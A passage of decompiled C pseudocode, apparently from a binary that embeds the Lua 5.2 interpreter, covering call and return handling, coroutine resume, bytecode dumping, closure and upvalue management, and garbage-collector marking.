(005B2CF0) -------------------------------------------------------- int __cdecl luaD_poscall(lua_State *L, lua_TValue *firstResult) { lua_State *v2; // ebx@1 char v3; // al@1 CallInfo *v4; // edi@1 unsigned int v5; // ebp@3 lua_TValue *v6; // esi@3 int v7; // ecx@6 lua_TValue *v8; // eax@6 int i; // edi@6 lua_TValue *v10; // edx@8 int v11; // ecx@8 int La; // [sp+14h] [bp+4h]@6 v2 = L; v3 = L->hookmask; v4 = L->ci; if ( v3 & 6 ) { if ( v3 & 2 ) { v5 = (char *)firstResult - (char *)L->stack; luaD_hook(L, 1, -1); v6 = (lua_TValue *)((char *)L->stack + v5); L->oldpc = v4->previous->u.l.savedpc; } else { v6 = firstResult; L->oldpc = v4->previous->u.l.savedpc; } } else { v6 = firstResult; } v7 = v4->nresults; v8 = v4->func; La = v4->nresults; v2->ci = v4->previous; for ( i = v7; i; v10->u.i.tt__ = v11 ) { if ( v6 >= v2->top ) break; v10 = v8; v8->u.i.v__.gc = v6->u.i.v__.gc; v11 = v6->u.i.tt__; ++v6; ++v8; --i; } if ( i > 0 ) { do { v8->u.i.tt__ = 2146936064; ++v8; --i; } while ( i ); } v2->top = v8; return La + 1; } //----- (005B2DA0) -------------------------------------------------------- void __cdecl unroll(lua_State *L, void *ud) { CallInfo *i; // eax@1 lua_TValue *v3; // ecx@4 char v4; // cl@6 int v5; // eax@8 for ( i = L->ci; i != &L->base_ci; i = L->ci ) { if ( i->callstatus & 1 ) { luaV_finishOp(L); luaV_execute(L); } else { if ( i->nresults == -1 ) { v3 = L->top; if ( i->top < v3 ) i->top = v3; } v4 = i->callstatus; if ( !(v4 & 0x20) ) i->u.c.status = 1; i->callstatus = v4 & 0xCF | 8; v5 = ((int (__cdecl *)(_DWORD))i->u.l.savedpc)(L); luaD_poscall(L, &L->top[-v5]); } } } //----- (005B2E10) -------------------------------------------------------- int __usercall recover(lua_State *L, int status) { lua_State *v2; // edi@1 CallInfo *v3; // esi@1 int result; // eax@4 lua_TValue *v5; // ebp@5 v2 = L; v3 = L->ci; if ( v3 ) { while ( !(v3->callstatus & 0x10) ) { v3 = v3->previous; if ( !v3 ) goto LABEL_4; } v5 = (lua_TValue *)((char *)L->stack + v3->extra); luaF_close(L, (lua_TValue *)((char *)L->stack + v3->extra)); seterrorobj(v2, status, v5); v2->ci = v3; v2->allowhook = v3->u.c.old_allowhook; v2->nny = 0; luaD_shrinkstack(v2); v2->errfunc = v3->u.c.old_errfunc; v3->callstatus |= 0x20u; v3->u.c.status = status; result = 1; } else { LABEL_4: result = 0; } return result; } //----- (005B2E80) -------------------------------------------------------- void __usercall resume_error(lua_State *L, const char *msg, lua_TValue *firstArg) { TString *v3; // eax@1 lua_TValue *v4; // edx@1 L->top = firstArg; v3 = luaS_new(L, msg); firstArg->u.i.v__.gc = (GCObject *)v3; firstArg->u.i.tt__ = BYTE4(v3->dummy.u) | 0x7FF7A540; v4 = L->top + 1; L->top = v4; if ( (signed int)((unsigned int)((char *)L->stack_last - (char *)v4) & 0xFFFFFFF8) <= 0 ) luaD_growstack(L, 0); luaD_throw(L, -1); } //----- (005B2ED0) -------------------------------------------------------- int __cdecl lua_yieldk(lua_State *L, int nresults, int ctx, int (__cdecl *k)(lua_State *)) { CallInfo *v4; // ecx@1 v4 = L->ci; if ( L->nny ) { if ( L != L->l_G->mainthread ) luaG_runerror(L, "attempt to yield across metamethod/C-call boundary"); luaG_runerror(L, "attempt to yield from outside a coroutine"); } L->status = 1; v4->extra = (char *)v4->func - (char *)L->stack; if ( !(v4->callstatus & 1) ) { v4->u.l.savedpc = (const unsigned int *)k; if ( k ) v4->u.l.base = (lua_TValue *)ctx; v4->func = &L->top[-nresults - 1]; luaD_throw(L, 1); } return 0; } //----- (005B2F50) -------------------------------------------------------- int __cdecl luaD_pcall(lua_State *L, void (__cdecl *func)(lua_State *, void *), void *u, int old_top, int ef) { lua_State *v5; // edi@1 unsigned __int16 v6; // dx@1 CallInfo *v7; // eax@1 int v8; // ebx@1 int v9; // ebp@1 lua_TValue *v10; // esi@2 CallInfo *old_ci; // [sp+Ch] [bp-8h]@1 unsigned __int16 old_nny; // [sp+10h] [bp-4h]@1 char La; // [sp+18h] [bp+4h]@1 v5 = L; v6 = L->nny; v7 = L->ci; v8 = L->errfunc; La = L->allowhook; old_nny = v6; old_ci = v7; v5->errfunc = ef; v9 = luaD_rawrunprotected(v5, func, u); if ( v9 ) { v10 = (lua_TValue *)((char *)v5->stack + old_top); luaF_close(v5, (lua_TValue *)((char *)v5->stack + old_top)); seterrorobj(v5, v9, v10); v5->ci = old_ci; v5->allowhook = La; v5->nny = old_nny; luaD_shrinkstack(v5); } v5->errfunc = v8; return v9; } //----- (005B2FE0) -------------------------------------------------------- void __cdecl f_parser(lua_State *L, void *ud) { int v2; // ecx@1 int v3; // eax@1 int *v4; // ecx@2 int v5; // ebx@2 const char *v6; // edi@4 lua_State *v7; // ebp@9 Closure *v8; // eax@9 Closure *v9; // esi@15 signed int v10; // ebx@15 int v11; // edi@16 UpVal *v12; // eax@17 v2 = **(_DWORD **)ud; **(_DWORD **)ud = v2 - 1; v3 = *(_DWORD *)ud; if ( v2 ) { v4 = *(int **)(v3 + 4); v5 = *(_BYTE *)v4; *(_DWORD *)(v3 + 4) = (char *)v4 + 1; } else { v5 = luaZ_fill(*(Zio **)ud); } v6 = (const char *)*((_DWORD *)ud + 13); if ( v5 == 27 ) { if ( v6 && !strchr(v6, 98) ) { luaO_pushfstring(L, "attempt to load a %s chunk (mode is '%s')"); luaD_throw(L, 3); } v7 = L; v8 = luaU_undump(L, *(Zio **)ud, (Mbuffer *)((char *)ud + 4), *((const char **)ud + 14)); } else { if ( v6 && !strchr(v6, 116) ) { luaO_pushfstring(L, "attempt to load a %s chunk (mode is '%s')"); luaD_throw(L, 3); } v7 = L; v8 = luaY_parser( L, *(Zio **)ud, (Mbuffer *)((char *)ud + 4), (Dyndata *)((char *)ud + 16), *((const char **)ud + 14), v5); } v9 = v8; v10 = 0; if ( v8->c.nupvalues ) { v11 = (int)v8->c.upvalue; do { v12 = luaF_newupval(v7); *(_DWORD *)v11 = v12; if ( v12->marked & 3 && v9->c.marked & 4 ) luaC_barrier_(v7, (GCObject *)&v9->c.next, (GCObject *)&v12->next); ++v10; v11 += 4; } while ( v10 < v9->c.nupvalues ); } } //----- (005B3100) -------------------------------------------------------- int __cdecl luaD_protectedparser(lua_State *L, Zio *z, const char *name, const char *mode) { lua_State *v4; // esi@1 lua_TValue *v5; // ecx@1 lua_TValue *v6; // edx@1 int v7; // ST40_4@1 int v8; // ebx@1 Zio *p; // [sp+Ch] [bp-3Ch]@1 void *block; // [sp+10h] [bp-38h]@1 unsigned int osize; // [sp+18h] [bp-30h]@1 void *v13; // [sp+1Ch] [bp-2Ch]@1 int v14; // [sp+24h] [bp-24h]@1 void *v15; // [sp+28h] [bp-20h]@1 int v16; // [sp+30h] [bp-18h]@1 void *v17; // [sp+34h] [bp-14h]@1 int v18; // [sp+3Ch] [bp-Ch]@1 const char *v19; // [sp+40h] [bp-8h]@1 const char *v20; // [sp+44h] [bp-4h]@1 v4 = L; ++v4->nny; v20 = name; v5 = L->top; v19 = mode; v6 = L->stack; p = z; v7 = L->errfunc; v13 = 0; v14 = 0; v15 = 0; v16 = 0; v17 = 0; v18 = 0; block = 0; osize = 0; v8 = luaD_pcall(L, f_parser, &p, (char *)v5 - (char *)v6, v7); block = luaM_realloc_(L, block, osize, 0); osize = 0; luaM_realloc_(L, v13, 2 * v14, 0); luaM_realloc_(L, v15, 16 * v16, 0); luaM_realloc_(L, v17, 16 * v18, 0); --v4->nny; return v8; } //----- (005B31E0) -------------------------------------------------------- int __cdecl luaD_precall(lua_State *L, lua_TValue *func, int nresults) { lua_TValue *v3; // eax@1 lua_State *v4; // esi@1 unsigned int v5; // edi@2 int v6; // ecx@2 int v7; // ecx@4 GCObject *v8; // ebp@8 CallInfo *v9; // eax@12 int v10; // eax@16 unsigned int v12; // ebx@17 int v13; // eax@17 char *v14; // ebp@19 int i; // ecx@19 lua_TValue *v16; // eax@22 CallInfo *v17; // edi@24 int v18; // edx@26 bool v19; // zf@26 CallInfo *v20; // eax@27 int v21; // ecx@27 lua_TValue *La; // [sp+14h] [bp+4h]@24 v3 = func; v4 = L; while ( 1 ) { v5 = (char *)v3 - (char *)L->stack; v6 = v3->u.i.tt__; if ( (v3->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v6) = 3; v7 = v6 & 0x3F; if ( v7 == 6 ) break; if ( v7 == 22 ) { v8 = v3->u.i.v__.gc; goto Cfunc; } if ( v7 == 38 ) { v8 = (GCObject *)v3->u.i.v__.gc->ts.tsv.len; Cfunc: if ( (signed int)(((char *)L->stack_last - (char *)L->top) & 0xFFFFFFF8) <= 160 ) luaD_growstack(L, 20); v9 = L->ci->next; if ( !v9 ) v9 = luaE_extendCI(L); L->ci = v9; v9->nresults = nresults; v9->func = (lua_TValue *)((char *)L->stack + v5); v9->top = L->top + 20; v9->callstatus = 0; if ( L->hookmask & 1 ) luaD_hook(L, 0, -1); v10 = ((int (__cdecl *)(_DWORD))v8)(L); luaD_poscall(L, &L->top[-v10]); return 1; } v3 = tryfuncTM(L, v3); } v12 = v3->u.i.v__.gc->ts.tsv.len; v13 = *(_BYTE *)(v12 + 78); if ( (signed int)(L->stack_last - L->top) <= v13 ) luaD_growstack(L, v13); v14 = (char *)L->stack + v5; for ( i = ((signed int)((char *)L->top - v14) >> 3) - 1; i < *(_BYTE *)(v12 + 76); ++i ) { L->top->u.i.tt__ = 2146936064; ++L->top; } if ( *(_BYTE *)(v12 + 77) ) v16 = adjust_varargs(L, (Proto *)v12, i); else v16 = (lua_TValue *)(v14 + 8); v17 = L->ci->next; La = v16; if ( !v17 ) v17 = luaE_extendCI(v4); v4->ci = v17; v17->nresults = nresults; v17->func = (lua_TValue *)v14; v17->u.l.base = La; v18 = (int)&La[*(_BYTE *)(v12 + 78)]; v17->top = (lua_TValue *)v18; v17->u.l.savedpc = *(const unsigned int **)(v12 + 12); v17->callstatus = 1; v19 = (v4->hookmask & 1) == 0; v4->top = (lua_TValue *)v18; if ( !v19 ) { v20 = v17->previous; ++v17->u.l.savedpc; v21 = 0; if ( v20->callstatus & 1 && (*((_BYTE *)v20->u.l.savedpc - 4) & 0x3F) == 30 ) { v17->callstatus |= 0x40u; v21 = 4; } luaD_hook(v4, v21, -1); --v17->u.l.savedpc; } return 0; } //----- (005B33D0) -------------------------------------------------------- void __cdecl luaD_call(lua_State *L, lua_TValue *func, int nResults, int allowyield) { unsigned __int16 v4; // ax@1 ++L->nCcalls; v4 = L->nCcalls; if ( v4 >= 0xC8u ) { if ( v4 == 200 ) luaG_runerror(L, "C stack overflow"); if ( v4 >= 0xE1u ) luaD_throw(L, 6); } if ( !allowyield ) ++L->nny; if ( !luaD_precall(L, func, nResults) ) luaV_execute(L); if ( !allowyield ) --L->nny; --L->nCcalls; if ( L->l_G->GCdebt > 0 ) luaC_step(L); } //----- (005B3450) -------------------------------------------------------- void __cdecl resume(lua_State *L, void *ud) { CallInfo *v2; // eax@1 void *v3; // edx@1 char v4; // cl@3 lua_TValue *v5; // edi@10 int v6; // ecx@10 const unsigned int *v7; // edi@12 v2 = L->ci; v3 = ud; if ( L->nCcalls >= 0xC8u ) resume_error(L, "C stack overflow", (lua_TValue *)ud); v4 = L->status; if ( v4 ) { if ( v4 != 1 ) resume_error(L, "cannot resume dead coroutine", (lua_TValue *)ud); v5 = L->stack; L->status = 0; v6 = (int)((char *)v5 + v2->extra); v2->func = (lua_TValue *)v6; LOBYTE(v6) = v2->callstatus; if ( v6 & 1 ) { luaV_execute(L); unroll(L, 0); } else { v7 = v2->u.l.savedpc; if ( v7 ) { LOBYTE(v6) = v6 | 8; v2->u.c.status = 1; v2->callstatus = v6; v3 = &L->top[-((int (__fastcall *)(_DWORD, _DWORD))v7)(v6, ud)]; } luaD_poscall(L, (lua_TValue *)v3); unroll(L, 0); } } else { if ( v2 != &L->base_ci ) resume_error(L, "cannot resume non-suspended coroutine", (lua_TValue *)ud); if ( !luaD_precall(L, (lua_TValue *)ud - 1, -1) ) luaV_execute(L); } } //----- (005B3530) -------------------------------------------------------- int __cdecl lua_resume(lua_State *L, lua_State *from, int nargs) { unsigned __int16 v3; // ax@2 lua_TValue *v4; // edx@4 int v5; // eax@4 int v6; // ebx@4 int result; // eax@5 lua_TValue *v8; // ecx@11 if ( from ) v3 = from->nCcalls + 1; else v3 = 1; v4 = L->top; L->nCcalls = v3; L->nny = 0; v5 = luaD_rawrunprotected(L, resume, &v4[-nargs]); v6 = v5; if ( v5 == -1 ) { --L->nCcalls; L->nny = 1; result = 2; } else { if ( v5 ) { while ( v6 != 1 ) { if ( !recover(L, v6) ) { v8 = L->top; L->status = v6; seterrorobj(L, v6, v8); L->ci->top = L->top; break; } result = luaD_rawrunprotected(L, unroll, 0); v6 = result; if ( !result ) { --L->nCcalls; L->nny = 1; return result; } } } --L->nCcalls; L->nny = 1; result = v6; } return result; } //----- (005B35F0) -------------------------------------------------------- void __usercall DumpString(TString *s, DumpState *D) { unsigned int v2; // ecx@0 TString *v3; // edi@1 int v4; // ecx@4 unsigned int size; // [sp+0h] [bp-4h]@1 size = v2; v3 = s; if ( s ) { v4 = D->status; size = s->tsv.len + 1; if ( !v4 ) { D->status = D->writer(D->L, &size, 4u, D->data); if ( !D->status ) D->status = D->writer(D->L, &v3[1], size, D->data); } } else { size = 0; if ( !D->status ) D->status = D->writer(D->L, &size, 4u, D->data); } } //----- (005B3670) -------------------------------------------------------- void __usercall DumpConstants(DumpState *D, Proto *f) { Proto *v2; // ebp@1 DumpState *v3; // esi@1 int v4; // eax@1 int v5; // edi@1 int v6; // ebx@3 int v7; // edi@4 int v8; // eax@4 int v9; // eax@8 int v10; // eax@10 int v11; // eax@11 int v12; // eax@14 int v13; // eax@20 int v14; // ebx@20 int i; // edi@22 lua_State *v16; // [sp-10h] [bp-2Ch]@15 Proto **v17; // [sp-Ch] [bp-28h]@15 signed int v18; // [sp-8h] [bp-24h]@15 void *v19; // [sp-4h] [bp-20h]@15 int n; // [sp+10h] [bp-Ch]@1 double v21; // [sp+14h] [bp-8h]@14 v2 = f; v3 = D; v4 = D->status; v5 = f->sizek; n = f->sizek; f = (Proto *)f->sizek; if ( !v4 ) v3->status = v3->writer(v3->L, &f, 4u, v3->data); v6 = 0; if ( v5 > 0 ) { do { v7 = (int)&v2->k[v6]; v8 = *(_DWORD *)(v7 + 4); if ( (*(_DWORD *)(v7 + 4) & 0x7FFFFF00) != 2146936064 ) LOBYTE(v8) = 3; LOBYTE(f) = v8 & 0xF; if ( !v3->status ) v3->status = v3->writer(v3->L, &f, 1u, v3->data); v9 = *(_DWORD *)(v7 + 4); if ( (*(_DWORD *)(v7 + 4) & 0x7FFFFF00) != 2146936064 ) LOBYTE(v9) = 3; v10 = (v9 & 0xF) - 1; if ( v10 ) { v11 = v10 - 2; if ( v11 ) { if ( v11 == 1 ) DumpString(*(TString **)v7, v3); goto LABEL_19; } v12 = v3->status; v21 = *(double *)v7; if ( !v12 ) { v19 = v3->data; v18 = 8; v17 = (Proto **)&v21; v16 = v3->L; LABEL_18: v3->status = v3->writer(v16, v17, v18, v19); goto LABEL_19; } } else { LOBYTE(f) = *(_BYTE *)v7; if ( !v3->status ) { v19 = v3->data; v18 = 1; v17 = &f; v16 = v3->L; goto LABEL_18; } } LABEL_19: ++v6; } while ( v6 < n ); } v13 = v3->status; v14 = v2->sizep; f = (Proto *)v2->sizep; if ( !v13 ) v3->status = v3->writer(v3->L, &f, 4u, v3->data); for ( i = 0; i < v14; ++i ) DumpFunction(v2->p[i], v3); } //----- (005B37D0) -------------------------------------------------------- void __usercall DumpUpvalues(Proto *f, DumpState *D) { int v2; // eax@1 int v3; // ebp@1 int i; // edi@3 int v5; // eax@4 char v6; // [sp+Bh] [bp-5h]@4 int v7; // [sp+Ch] [bp-4h]@1 v2 = D->status; v3 = f->sizeupvalues; v7 = f->sizeupvalues; if ( !v2 ) D->status = D->writer(D->L, &v7, 4u, D->data); for ( i = 0; i < v3; ++i ) { v5 = D->status; v6 = f->upvalues[i].instack; if ( !v5 ) D->status = D->writer(D->L, &v6, 1u, D->data); v6 = f->upvalues[i].idx; if ( !D->status ) D->status = D->writer(D->L, &v6, 1u, D->data); } } //----- (005B3860) -------------------------------------------------------- void __usercall DumpDebug(Proto *f, DumpState *D) { DumpState *v2; // esi@1 TString *v3; // eax@2 int v4; // edi@5 int v5; // eax@7 int *v6; // ebp@7 int v7; // eax@8 int v8; // ebp@11 int v9; // eax@13 int v10; // edi@16 int v11; // eax@17 int v12; // eax@19 int v13; // ebp@23 int v14; // eax@25 int i; // edi@27 int v16; // [sp+Ch] [bp-4h]@7 v2 = D; if ( D->strip ) v3 = 0; else v3 = f->source; DumpString(v3, v2); if ( v2->strip ) v4 = 0; else v4 = f->sizelineinfo; v5 = v2->status; v6 = f->lineinfo; v16 = v4; if ( !v5 ) { v7 = v2->writer(v2->L, &v16, 4u, v2->data); v2->status = v7; if ( !v7 ) v2->status = v2->writer(v2->L, v6, 4 * v4, v2->data); } if ( v2->strip ) v8 = 0; else v8 = f->sizelocvars; v9 = v2->status; v16 = v8; if ( !v9 ) v2->status = v2->writer(v2->L, &v16, 4u, v2->data); if ( v8 > 0 ) { v10 = 0; do { DumpString(f->locvars[v10].varname, v2); v11 = v2->status; v16 = f->locvars[v10].startpc; if ( !v11 ) v2->status = v2->writer(v2->L, &v16, 4u, v2->data); v12 = v2->status; v16 = f->locvars[v10].endpc; if ( !v12 ) v2->status = v2->writer(v2->L, &v16, 4u, v2->data); ++v10; --v8; } while ( v8 ); } if ( v2->strip ) v13 = 0; else v13 = f->sizeupvalues; v14 = v2->status; v16 = v13; if ( !v14 ) v2->status = v2->writer(v2->L, &v16, 4u, v2->data); for ( i = 0; i < v13; ++i ) DumpString(f->upvalues[i].name, v2); } //----- (005B39C0) -------------------------------------------------------- void __cdecl DumpFunction(Proto *f, DumpState *D) { Proto *v2; // ebx@1 DumpState *v3; // esi@1 int v4; // eax@3 int v5; // eax@5 int v6; // eax@9 int v7; // eax@11 int v8; // edi@11 unsigned int *v9; // ebp@11 int v10; // eax@12 v2 = f; v3 = D; f = (Proto *)f->linedefined; if ( !D->status ) D->status = D->writer(D->L, &f, 4u, D->data); v4 = v3->status; f = (Proto *)v2->lastlinedefined; if ( !v4 ) v3->status = v3->writer(v3->L, &f, 4u, v3->data); v5 = v3->status; LOBYTE(f) = v2->numparams; if ( !v5 ) v3->status = v3->writer(v3->L, &f, 1u, v3->data); LOBYTE(f) = v2->is_vararg; if ( !v3->status ) v3->status = v3->writer(v3->L, &f, 1u, v3->data); v6 = v3->status; LOBYTE(f) = v2->maxstacksize; if ( !v6 ) v3->status = v3->writer(v3->L, &f, 1u, v3->data); v7 = v3->status; v8 = v2->sizecode; v9 = v2->code; f = (Proto *)v2->sizecode; if ( !v7 ) { v10 = v3->writer(v3->L, &f, 4u, v3->data); v3->status = v10; if ( !v10 ) v3->status = v3->writer(v3->L, v9, 4 * v8, v3->data); } DumpConstants(v2, v3); DumpUpvalues(v2, v3); DumpDebug(v2, v3); } //----- (005B3AF0) -------------------------------------------------------- int __cdecl luaU_dump(lua_State *L, Proto *f, int (__cdecl *w)(lua_State *, const void *, unsigned int, void *), void *data, int strip) { lua_State *D; // [sp+4h] [bp-2Ch]@1 int (__cdecl *v7)(lua_State *, const void *, unsigned int, void *); // [sp+8h] [bp-28h]@1 void *v8; // [sp+Ch] [bp-24h]@1 int v9; // [sp+10h] [bp-20h]@1 int v10; // [sp+14h] [bp-1Ch]@1 char h; // [sp+18h] [bp-18h]@1 unsigned int v12; // [sp+2Ch] [bp-4h]@1 v12 = (unsigned int)&D ^ __security_cookie; D = L; v8 = data; v7 = w; v9 = strip; v10 = 0; luaU_header(&h); if ( !v10 ) v10 = v7(D, &h, 18u, v8); DumpFunction(f, (DumpState *)&D); return v10; } //----- (005B3B80) -------------------------------------------------------- Closure *__cdecl luaF_newCclosure(lua_State *L, int n) { Closure *result; // eax@1 result = (Closure *)luaC_newobj(L, 38, 8 * n + 16, 0, 0); result->c.nupvalues = n; return result; } //----- (005B3BB0) -------------------------------------------------------- Closure *__cdecl luaF_newLclosure(lua_State *L, int n) { int v2; // ebx@1 Closure *result; // eax@1 char *v4; // ecx@2 v2 = n; result = (Closure *)luaC_newobj(L, 6, 4 * n + 16, 0, 0); result->c.f = 0; result->c.nupvalues = n; if ( n ) { v4 = (char *)result->c.upvalue + 4 * n; do { v4 -= 4; --v2; *(_DWORD *)v4 = 0; } while ( v2 ); } return result; } //----- (005B3C00) -------------------------------------------------------- UpVal *__cdecl luaF_newupval(lua_State *L) { UpVal *result; // eax@1 result = (UpVal *)luaC_newobj(L, 10, 0x18u, 0, 0); result->v = (lua_TValue *)&result->u; result->u.value.u.i.tt__ = 2146936064; return result; } //----- (005B3C30) -------------------------------------------------------- UpVal *__cdecl luaF_findupval(lua_State *L, lua_TValue *level) { UpVal **v2; // ecx@1 global_State *v3; // esi@1 UpVal *result; // eax@2 lua_TValue *v5; // edx@2 int v6; // ecx@5 char v7; // cl@7 v2 = (UpVal **)&L->openupval; v3 = L->l_G; if ( L->openupval ) { do { result = *v2; v5 = (*v2)->v; if ( v5 < level ) break; if ( v5 == level ) { v7 = result->marked ^ 3; if ( !((unsigned __int8)(v3->currentwhite ^ 3) & (unsigned __int8)v7) ) result->marked = v7; return result; } result->marked &= 0xBFu; v2 = (UpVal **)result; } while ( result->next ); } result = (UpVal *)luaC_newobj(L, 10, 0x18u, (GCObject **)v2, 0); result->v = level; result->u.value.u.i.v__.gc = (GCObject *)&v3->uvhead; v6 = v3->uvhead.u.value.u.i.tt__; result->u.value.u.i.tt__ = v6; *(_DWORD *)(v6 + 16) = result; v3->uvhead.u.value.u.i.tt__ = (int)result; return result; } //----- (005B3CA0) -------------------------------------------------------- void __cdecl luaF_freeupval(lua_State *L, UpVal *uv) { char *v2; // ecx@1 v2 = (char *)&uv->u; if ( ($F8B67053990CD561D2284E74892A6F96 *)uv->v != &uv->u ) { *(_DWORD *)(uv->u.value.u.i.tt__ + 16) = *(_DWORD *)v2; *(_DWORD *)(*(_DWORD *)v2 + 20) = uv->u.value.u.i.tt__; } luaM_realloc_(L, uv, 0x18u, 0); } //----- (005B3CE0) -------------------------------------------------------- void __cdecl luaF_close(lua_State *L, lua_TValue *level) { global_State *v2; // edi@1 GCObject *v3; // eax@2 int v4; // ecx@3 unsigned int v5; // edx@7 v2 = L->l_G; while ( L->openupval ) { v3 = L->openupval; if ( v3->ts.tsv.hash < (unsigned int)level ) break; L->openupval = v3->gch.next; v4 = (int)&v3->u.uv.len; if ( (unsigned __int8)(v2->currentwhite ^ 3) & (unsigned __int8)(v3->gch.marked ^ 3) ) { *(_DWORD *)(v3->cl.c.upvalue[0].u.i.tt__ + 16) = *(_DWORD *)v4; *(_DWORD *)(*(_DWORD *)v4 + 20) = v3->cl.c.upvalue[0].u.i.tt__; v5 = v3->ts.tsv.hash; *(_DWORD *)v4 = *(_DWORD *)v5; v3->cl.c.upvalue[0].u.i.tt__ = *(_DWORD *)(v5 + 4); v3->ts.tsv.hash = v4; v3->gch.next = v2->allgc; v2->allgc = v3; luaC_checkupvalcolor(v2, (UpVal *)v3); } else { if ( v3->ts.tsv.hash != v4 ) { *(_DWORD *)(v3->cl.c.upvalue[0].u.i.tt__ + 16) = *(_DWORD *)v4; *(_DWORD *)(*(_DWORD *)v4 + 20) = v3->cl.c.upvalue[0].u.i.tt__; } luaM_realloc_(L, v3, 0x18u, 0); } } } //----- (005B3D90) -------------------------------------------------------- Proto *__cdecl luaF_newproto(lua_State *L) { Proto *result; // eax@1 result = (Proto *)luaC_newobj(L, 9, 0x50u, 0, 0); result->k = 0; result->sizek = 0; result->p = 0; result->sizep = 0; result->code = 0; result->cache = 0; result->sizecode = 0; result->lineinfo = 0; result->sizelineinfo = 0; result->upvalues = 0; result->sizeupvalues = 0; result->numparams = 0; result->is_vararg = 0; result->maxstacksize = 0; result->locvars = 0; result->sizelocvars = 0; result->linedefined = 0; result->lastlinedefined = 0; result->source = 0; return result; } //----- (005B3DF0) -------------------------------------------------------- void __cdecl luaF_freeproto(lua_State *L, Proto *f) { Proto *v2; // esi@1 v2 = f; luaM_realloc_(L, f->code, 4 * f->sizecode, 0); luaM_realloc_(L, v2->p, 4 * v2->sizep, 0); luaM_realloc_(L, v2->k, 8 * v2->sizek, 0); luaM_realloc_(L, v2->lineinfo, 4 * v2->sizelineinfo, 0); luaM_realloc_(L, v2->locvars, 12 * v2->sizelocvars, 0); luaM_realloc_(L, v2->upvalues, 8 * v2->sizeupvalues, 0); luaM_realloc_(L, f, 0x50u, 0); } //----- (005B3E90) -------------------------------------------------------- const char *__cdecl luaF_getlocalname(Proto *f, int local_number, int pc) { int v3; // edx@1 int v4; // ecx@1 LocVar *v5; // edi@2 int v6; // ebx@2 int v7; // eax@2 v3 = f->sizelocvars; v4 = 0; if ( v3 > 0 ) { v5 = f->locvars; v6 = local_number; v7 = (int)&v5->endpc; while ( *(_DWORD *)(v7 - 4) <= pc ) { if ( pc < *(_DWORD *)v7 ) { --v6; if ( !v6 ) return (const char *)&v5[v4].varname[1]; } ++v4; v7 += 12; if ( v4 >= v3 ) return 0; } } return 0; } //----- (005B3EE0) -------------------------------------------------------- void __cdecl luaC_barrierback_(lua_State *L, GCObject *o) { global_State *v2; // ecx@1 v2 = L->l_G; o->gch.marked &= 0xFBu; o->h.gclist = v2->grayagain; v2->grayagain = o; } //----- (005B3F00) -------------------------------------------------------- GCObject *__cdecl luaC_newobj(lua_State *L, int tt, unsigned int sz, GCObject **list, int offset) { global_State *v5; // esi@1 GCObject *result; // eax@1 GCObject **v7; // ecx@1 char v8; // dl@3 v5 = L->l_G; result = (GCObject *)((char *)luaM_realloc_(L, 0, tt & 0xF, sz) + offset); v7 = list; if ( !list ) v7 = &v5->allgc; v8 = v5->currentwhite & 3; result->gch.tt = tt; result->gch.marked = v8; result->gch.next = *v7; *v7 = result; return result; } //----- (005B3F50) -------------------------------------------------------- void __cdecl reallymarkobject(global_State *g, GCObject *o) { int v2; // eax@1 unsigned int v3; // eax@2 unsigned int v4; // eax@3 unsigned int v5; // eax@6 unsigned int v6; // ecx@10 int v7; // eax@10 int v8; // ecx@13 v2 = o->gch.tt - 4; o->gch.marked &= 0xFCu; switch ( v2 ) { case 0: case 16: v3 = o->ts.tsv.len + 17; goto LABEL_17; case 3: v4 = o->ts.tsv.hash; if ( v4 && *(_BYTE *)(v4 + 5) & 3 ) reallymarkobject(g, (GCObject *)o->ts.tsv.hash); v5 = o->ts.tsv.len; if ( v5 ) { if ( *(_BYTE *)(v5 + 5) & 3 ) reallymarkobject(g, (GCObject *)o->ts.tsv.len); } v3 = o->u.uv.len + 24; goto LABEL_17; case 6: v6 = o->ts.tsv.hash; v7 = *(_DWORD *)(v6 + 4); if ( (*(_DWORD *)(v6 + 4) & 0x7FFFFF00) != 2146936064 ) LOBYTE(v7) = 3; if ( v7 & 0x40 ) { v8 = *(_DWORD *)v6; if ( *(_BYTE *)(v8 + 5) & 3 ) reallymarkobject(g, (GCObject *)v8); } if ( (unsigned int *)o->ts.tsv.hash == &o->u.uv.len ) { v3 = 24; LABEL_17: o->gch.marked |= 4u; g->GCmemtrav += v3; } break; case 2: o->ts.tsv.hash = (unsigned int)g->gray; g->gray = o; break; case 34: o->ts.tsv.hash = (unsigned int)g->gray; g->gray = o; break; case 1: o->h.gclist = g->gray; g->gray = o; break; case 4: o->p.sizelocvars = (int)g->gray; g->gray = o; break; case 5: o->p.gclist = g->gray; g->gray = o; break; default: return; } } //----- (005B40B0) -------------------------------------------------------- void __cdecl markmt(global_State *g) { GCObject **v1; // esi@1 signed int v2; // edi@1 v1 = (GCObject **)g->mt; v2 = 9; do { if ( *v1 ) { if ( (*v1)->gch.marked & 3 ) reallymarkobject(g, *v1); } ++v1; --v2; } while ( v2 ); } //----- (005B40F0) -------------------------------------------------------- void __usercall remarkupvals(global_State *g) { int i; // esi@1 int v2; // ecx@3 int v3; // eax@3 int v4; // ecx@6 for ( i = g->uvhead.u.value.u.i.tt__; (UpVal *)i != &g->uvhead; i = *(_DWORD *)(i + 20) ) { if ( !(*(_BYTE *)(i + 5) & 7) ) { v2 = *(_DWORD *)(i + 8); v3 = *(_DWORD *)(v2 + 4); if ( (*(_DWORD *)(v2 + 4) & 0x7FFFFF00) != 2146936064 ) LOBYTE(v3) = 3; if ( v3 & 0x40 ) { v4 = *(_DWORD *)v2; if ( *(_BYTE *)(v4 + 5) & 3 ) reallymarkobject(g, (GCObject *)v4); } } } } //----- (005B4150) -------------------------------------------------------- void __usercall markroot(global_State *g) { lua_State *v1; // eax@1 int v2; // eax@4 GCObject *i; // esi@9 v1 = g->mainthread; g->grayagain = 0; g->gray = 0; g->ephemeron = 0; g->allweak = 0; g->weak = 0; if ( v1 && v1->marked & 3 ) reallymarkobject(g, (GCObject *)&v1->next); v2 = g->l_registry.u.i.tt__; if ( (g->l_registry.u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v2) = 3; if ( v2 & 0x40 && g->l_registry.u.i.v__.gc->gch.marked & 3 ) reallymarkobject(g, g->l_registry.u.i.v__.gc); markmt(g); for ( i = g->tobefnz; i; i = i->gch.next ) { i->gch.marked = g->currentwhite & 3 | i->gch.marked & 0xB8; reallymarkobject(g, i); } } //----- (005B41F0) -------------------------------------------------------- void __usercall traversestrongtable(Table *h, global_State *g) { Table *v2; // esi@1 int v3; // edi@1 Node *i; // ebp@1 lua_TValue *v5; // edx@2 int 